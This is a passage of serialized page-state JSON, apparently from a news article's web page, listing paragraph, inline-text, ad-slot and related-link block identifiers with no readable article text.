4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.3","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.4","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.5","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.31":{"__typename":"Dropzone","index":14,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.33":{"__typename":"Dropzone","index":15,"bad":false,"adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.35":{"__typename":"Dropzone","index":16,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.37":{"__typename":"Dropzone","index":17,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.39":{"__typename":"Dropzone","index":18,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.41":{"__typename":"Dropzone","index":19,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.43":{"__typename":"Dropzone","index":20,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.45":{"__typename":"Dropzone","index":21,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.47":{"__typename":"Dropzone","index":22,"bad":false,"adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.49":{"__typename":"Dropzone","index":23,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.3","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.51":{"__typename":"Dropzone","index":24,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.53":{"__typename":"Dropzone","index":25,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.1","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.55":{"__typename":"Dropzone","index":26,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.57":{"__typename":"Dropzone","index":27,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.60":{"__typename":"Dropzone","index":28,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.1","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.62":{"__typename":"Dropzone","index":29,"bad":false,"adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.64":{"__typename":"Dropzone","index":30,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.66":{"__typename":"Dropzone","index":31,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.68":{"__typename":"Dropzone","index":32,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.70":{"__typename":"Dropzone","index":33,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.2","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.3","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.4","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.5","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.6","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.72":{"__typename":"Dropzone","index":34,"bad":false,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.0","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1","typename":"TextInline"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.2","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.74":{"__typename":"Dropzone","index":35,"bad":false,"adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75":{"__typename":"ParagraphBlock","textAlign":"LEFT","content":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75.content.0","typename":"TextInline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.76":{"__typename":"Dropzone","index":36,"bad":true,"adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77":{"__typename":"RelatedLinksBlock","displayStyle":"STANDARD","title":[],"description":[],"related@filterEmpty":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0","typename":"Article"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1","typename":"Article"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody":{"content@filterEmpty":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0","typename":"HeaderBasicBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.1","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.2","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.3","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.4","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.5","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.6","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.7","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2